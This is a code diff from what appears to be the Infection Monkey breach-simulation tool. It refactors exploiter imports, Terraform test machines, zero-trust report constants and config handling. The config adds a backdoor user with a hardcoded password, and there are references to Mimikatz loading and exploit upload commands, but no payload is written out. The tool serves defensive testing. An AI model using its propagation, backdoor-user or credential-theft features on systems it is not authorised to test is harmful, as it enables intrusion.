|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.21"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "scan-22" {
|
||||
name = "scan-22"
|
||||
name = "${local.resource_prefix}scan-22"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.22"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-23" {
|
||||
name = "struts2-23"
|
||||
name = "${local.resource_prefix}struts2-23"
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.23"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "struts2-24" {
|
||||
name = "struts2-24"
|
||||
name = "${local.resource_prefix}struts2-24"
|
||||
source_instance_template = "${local.default_windows}"
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
|
@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.24"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-linux-250" {
|
||||
name = "island-linux-250"
|
||||
name = "${local.resource_prefix}island-linux-250"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "linux", "ubuntu16"]
|
||||
source_instance_template = "${local.default_ubuntu}"
|
||||
|
@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.250"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
|
@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "island-windows-251" {
|
||||
name = "island-windows-251"
|
||||
name = "${local.resource_prefix}island-windows-251"
|
||||
machine_type = "n1-standard-2"
|
||||
tags = ["island", "windows", "windowsserver2016"]
|
||||
source_instance_template = "${local.default_windows}"
|
||||
|
@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
|
|||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="monkeyzoo-main"
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.2.251"
|
||||
access_config {
|
||||
// Cheaper, non-premium routing (not available in some regions)
|
||||
// network_tier = "STANDARD"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
resource "google_compute_instance_template" "ubuntu16" {
|
||||
name = "ubuntu16"
|
||||
name = "${local.resource_prefix}ubuntu16"
|
||||
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "ubuntu16", "linux"]
|
||||
|
@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
|
|||
}
|
||||
|
||||
resource "google_compute_instance_template" "windows2016" {
|
||||
name = "windows2016"
|
||||
name = "${local.resource_prefix}windows2016"
|
||||
description = "Creates windows 2016 core servers at europe-west3-a."
|
||||
|
||||
tags = ["test-machine", "windowsserver2016", "windows"]
|
||||
|
@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
|
|||
email="${local.service_account_email}"
|
||||
scopes=["cloud-platform"]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -7,7 +7,7 @@ import json
|
|||
__author__ = 'shay.nehmad'
|
||||
|
||||
|
||||
class TestFilter_instance_data_from_aws_response(TestCase):
|
||||
class TestFilterInstanceDataFromAwsResponse(TestCase):
|
||||
def test_filter_instance_data_from_aws_response(self):
|
||||
json_response_full = """
|
||||
{
|
|
@ -0,0 +1,2 @@
|
|||
from zero_trust_consts import populate_mappings
|
||||
populate_mappings()
|
|
@ -0,0 +1,2 @@
|
|||
ES_SERVICE = 'elastic-search-9200'
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
|
||||
POST_BREACH_BACKDOOR_USER = "Backdoor user"
|
||||
POST_BREACH_FILE_EXECUTION = "File execution"
|
|
@ -0,0 +1,205 @@
|
|||
"""
|
||||
This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
|
||||
in creating findings.
|
||||
|
||||
This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
|
||||
Some of the mappings are computed when this module is loaded.
|
||||
"""
|
||||
|
||||
AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
|
||||
VISIBILITY_ANALYTICS = u"Visibility & Analytics"
|
||||
WORKLOADS = u"Workloads"
|
||||
DEVICES = u"Devices"
|
||||
NETWORKS = u"Networks"
|
||||
PEOPLE = u"People"
|
||||
DATA = u"Data"
|
||||
PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
|
||||
|
||||
STATUS_UNEXECUTED = u"Unexecuted"
|
||||
STATUS_PASSED = u"Passed"
|
||||
STATUS_VERIFY = u"Verify"
|
||||
STATUS_FAILED = u"Failed"
|
||||
# Don't change order! The statuses are ordered by importance/severity.
|
||||
ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
|
||||
|
||||
TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
|
||||
TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
|
||||
TEST_MACHINE_EXPLOITED = u"machine_exploited"
|
||||
TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
|
||||
TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
|
||||
TEST_SEGMENTATION = u"segmentation"
|
||||
TEST_TUNNELING = u"tunneling"
|
||||
TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
|
||||
TESTS = (
|
||||
TEST_SEGMENTATION,
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE,
|
||||
TEST_SCHEDULED_EXECUTION,
|
||||
TEST_ENDPOINT_SECURITY_EXISTS,
|
||||
TEST_MACHINE_EXPLOITED,
|
||||
TEST_DATA_ENDPOINT_HTTP,
|
||||
TEST_DATA_ENDPOINT_ELASTIC,
|
||||
TEST_TUNNELING,
|
||||
TEST_COMMUNICATE_AS_NEW_USER
|
||||
)
|
||||
|
||||
PRINCIPLE_DATA_TRANSIT = u"data_transit"
|
||||
PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
|
||||
PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
|
||||
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
|
||||
PRINCIPLE_SEGMENTATION = u"segmentation"
|
||||
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
|
||||
PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
|
||||
PRINCIPLES = {
|
||||
PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
|
||||
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
|
||||
PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
|
||||
PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
|
||||
PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
|
||||
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
|
||||
PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
|
||||
u"Access Control) only.",
|
||||
}
|
||||
|
||||
POSSIBLE_STATUSES_KEY = u"possible_statuses"
|
||||
PILLARS_KEY = u"pillars"
|
||||
PRINCIPLE_KEY = u"principle_key"
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
|
||||
TEST_EXPLANATION_KEY = u"explanation"
|
||||
TESTS_MAP = {
|
||||
TEST_SEGMENTATION: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
|
||||
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
|
||||
PILLARS_KEY: [NETWORKS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
|
||||
},
|
||||
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
|
||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_ENDPOINT_SECURITY_EXISTS: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
|
||||
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
PILLARS_KEY: [DEVICES],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_MACHINE_EXPLOITED: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
|
||||
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||
PILLARS_KEY: [DEVICES],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_SCHEDULED_EXECUTION: {
|
||||
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
|
||||
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
||||
PILLARS_KEY: [PEOPLE, NETWORKS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
|
||||
},
|
||||
TEST_DATA_ENDPOINT_ELASTIC: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_DATA_ENDPOINT_HTTP: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
|
||||
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||
PILLARS_KEY: [DATA],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
TEST_TUNNELING: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
|
||||
},
|
||||
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||
TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
|
||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
|
||||
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
|
||||
},
|
||||
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||
PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
|
||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
|
||||
},
|
||||
}
|
||||
|
||||
EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
|
||||
EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
|
||||
EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
|
||||
|
||||
PILLARS_TO_TESTS = {
|
||||
DATA: [],
|
||||
PEOPLE: [],
|
||||
NETWORKS: [],
|
||||
DEVICES: [],
|
||||
WORKLOADS: [],
|
||||
VISIBILITY_ANALYTICS: [],
|
||||
AUTOMATION_ORCHESTRATION: []
|
||||
}
|
||||
|
||||
PRINCIPLES_TO_TESTS = {}
|
||||
|
||||
PRINCIPLES_TO_PILLARS = {}
|
||||
|
||||
|
||||
def populate_mappings():
|
||||
populate_pillars_to_tests()
|
||||
populate_principles_to_tests()
|
||||
populate_principles_to_pillars()
|
||||
|
||||
|
||||
def populate_pillars_to_tests():
|
||||
for pillar in PILLARS:
|
||||
for test, test_info in TESTS_MAP.items():
|
||||
if pillar in test_info[PILLARS_KEY]:
|
||||
PILLARS_TO_TESTS[pillar].append(test)
|
||||
|
||||
|
||||
def populate_principles_to_tests():
|
||||
for single_principle in PRINCIPLES:
|
||||
PRINCIPLES_TO_TESTS[single_principle] = []
|
||||
for test, test_info in TESTS_MAP.items():
|
||||
PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
|
||||
|
||||
|
||||
def populate_principles_to_pillars():
|
||||
for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
|
||||
principles_pillars = set()
|
||||
for test in principle_tests:
|
||||
for pillar in TESTS_MAP[test][PILLARS_KEY]:
|
||||
principles_pillars.add(pillar)
|
||||
PRINCIPLES_TO_PILLARS[principle] = principles_pillars
|
|
@ -0,0 +1,23 @@
|
|||
def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
|
||||
"""
|
||||
Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
|
||||
:param ip_addresses: List[str]: List of IP addresses to test.
|
||||
:param source_subnet: NetworkRange: Subnet to want an IP to not be in.
|
||||
:param target_subnet: NetworkRange: Subnet we want an IP to be in.
|
||||
:return: The cross segment IP if in source but not in target, else None. Union[str, None]
|
||||
"""
|
||||
if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
|
||||
return None
|
||||
return get_ip_if_in_subnet(ip_addresses, source_subnet)
|
||||
|
||||
|
||||
def get_ip_if_in_subnet(ip_addresses, subnet):
|
||||
"""
|
||||
:param ip_addresses: IP address list.
|
||||
:param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
|
||||
:return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
|
||||
"""
|
||||
for ip_address in ip_addresses:
|
||||
if subnet.is_in_range(ip_address):
|
||||
return ip_address
|
||||
return None
|
|
@ -0,0 +1,30 @@
|
|||
from common.network.network_range import *
|
||||
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
|
||||
|
||||
class TestSegmentationUtils(IslandTestCase):
|
||||
def test_get_ip_in_src_and_not_in_dst(self):
|
||||
self.fail_if_not_testing_env()
|
||||
source = CidrRange("1.1.1.0/24")
|
||||
target = CidrRange("2.2.2.0/24")
|
||||
|
||||
# IP not in both
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
|
||||
))
|
||||
|
||||
# IP not in source, in target
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("2.2.2.2")], source, target
|
||||
))
|
||||
|
||||
# IP in source, not in target
|
||||
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
|
||||
))
|
||||
|
||||
# IP in both subnets
|
||||
self.assertIsNone(get_ip_in_src_and_not_in_dst(
|
||||
[text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
|
||||
))
|
|
@ -10,6 +10,20 @@ class ScanStatus(Enum):
|
|||
USED = 2
|
||||
|
||||
|
||||
class UsageEnum(Enum):
|
||||
SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
|
||||
ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
|
||||
MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
|
||||
MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
|
||||
ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
|
||||
DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
|
||||
ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
|
||||
" for monkey process wasn't successful."}
|
||||
DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
|
||||
|
||||
|
||||
# Dict that describes what BITS job was used for
|
||||
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
|
||||
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
import hashlib
|
||||
import os
|
||||
import json
|
||||
import sys
|
||||
|
@ -13,9 +14,11 @@ GUID = str(uuid.getnode())
|
|||
|
||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||
|
||||
SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
|
||||
HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
|
||||
|
||||
|
||||
class Configuration(object):
|
||||
|
||||
def from_kv(self, formatted_data):
|
||||
# now we won't work at <2.7 for sure
|
||||
network_import = importlib.import_module('infection_monkey.network')
|
||||
|
@ -53,6 +56,12 @@ class Configuration(object):
|
|||
result = self.from_kv(formatted_data)
|
||||
return result
|
||||
|
||||
@staticmethod
|
||||
def hide_sensitive_info(config_dict):
|
||||
for field in SENSITIVE_FIELDS:
|
||||
config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
|
||||
return config_dict
|
||||
|
||||
def as_dict(self):
|
||||
result = {}
|
||||
for key in dir(Configuration):
|
||||
|
@ -174,7 +183,7 @@ class Configuration(object):
|
|||
|
||||
# TCP Scanner
|
||||
HTTP_PORTS = [80, 8080, 443,
|
||||
8008, # HTTP alternate
|
||||
8008, # HTTP alternate
|
||||
7001 # Oracle Weblogic default server port
|
||||
]
|
||||
tcp_target_ports = [22,
|
||||
|
@ -207,9 +216,6 @@ class Configuration(object):
|
|||
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||
remote_user_pass = "Password1!"
|
||||
|
||||
# rdp exploiter
|
||||
rdp_use_vbs_download = True
|
||||
|
||||
# User and password dictionaries for exploits.
|
||||
|
||||
def get_exploit_user_password_pairs(self):
|
||||
|
@ -272,5 +278,17 @@ class Configuration(object):
|
|||
PBA_linux_filename = None
|
||||
PBA_windows_filename = None
|
||||
|
||||
@staticmethod
|
||||
def hash_sensitive_data(sensitive_data):
|
||||
"""
|
||||
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
||||
saved on client machines plain-text.
|
||||
|
||||
:param sensitive_data: the data to hash.
|
||||
:return: the hashed data.
|
||||
"""
|
||||
password_hashed = hashlib.sha512(sensitive_data).hexdigest()
|
||||
return password_hashed
|
||||
|
||||
|
||||
WormConfiguration = Configuration()
|
||||
|
|
|
@ -125,6 +125,7 @@ class ControlClient(object):
|
|||
@staticmethod
|
||||
def send_telemetry(telem_category, data):
|
||||
if not WormConfiguration.current_server:
|
||||
LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
|
||||
return
|
||||
try:
|
||||
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
|
||||
|
@ -168,7 +169,8 @@ class ControlClient(object):
|
|||
|
||||
try:
|
||||
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
|
||||
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
|
||||
LOG.info("New configuration was loaded from server: %r" %
|
||||
(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
|
||||
except Exception as exc:
|
||||
# we don't continue with default conf here because it might be dangerous
|
||||
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
|
||||
|
|
|
@ -11,9 +11,11 @@ from ctypes import c_char_p
|
|||
|
||||
import filecmp
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
if "win32" == sys.platform:
|
||||
from win32process import DETACHED_PROCESS
|
||||
|
@ -156,5 +158,6 @@ class MonkeyDrops(object):
|
|||
else:
|
||||
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
|
||||
self._config['source_path'])
|
||||
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
|
||||
except AttributeError:
|
||||
LOG.error("Invalid configuration options. Failing")
|
||||
|
|
|
@ -63,7 +63,6 @@
|
|||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||
"remote_user_pass": "Password1!",
|
||||
"ping_scan_timeout": 10000,
|
||||
"rdp_use_vbs_download": true,
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey",
|
||||
"retry_failed_explotation": true,
|
||||
|
|
|
@ -73,12 +73,11 @@ class HostExploiter(object, metaclass=ABCMeta):
|
|||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
||||
|
||||
|
||||
|
||||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||
from infection_monkey.exploit.smbexec import SmbExploiter
|
||||
from infection_monkey.exploit.rdpgrinder import RdpExploiter
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
||||
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
||||
|
|
|
@ -8,9 +8,10 @@ import json
|
|||
import logging
|
||||
import requests
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||
DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||
from infection_monkey.network.elasticfinger import ES_PORT
|
||||
from common.data.network_consts import ES_SERVICE
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
|
||||
|
@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||
exploit_config['dropper'] = True
|
||||
exploit_config['url_extensions'] = ['_search?pretty']
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
|
||||
return exploit_config
|
||||
|
||||
def get_open_service_ports(self, port_list, names):
|
||||
|
|
|
@ -11,7 +11,8 @@ import logging
|
|||
import posixpath
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
|
|
@ -1,16 +1,18 @@
|
|||
import logging
|
||||
import os
|
||||
import textwrap
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
import pymssql
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter, tools
|
||||
from infection_monkey.exploit.tools import HTTPTools
|
||||
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -24,98 +26,145 @@ class MSSQLExploiter(HostExploiter):
|
|||
# Time in seconds to wait between MSSQL queries.
|
||||
QUERY_BUFFER = 0.5
|
||||
SQL_DEFAULT_TCP_PORT = '1433'
|
||||
|
||||
# Temporary file that saves commands for monkey's download and execution.
|
||||
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||
TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
|
||||
|
||||
MAX_XP_CMDSHELL_COMMAND_SIZE = 128
|
||||
|
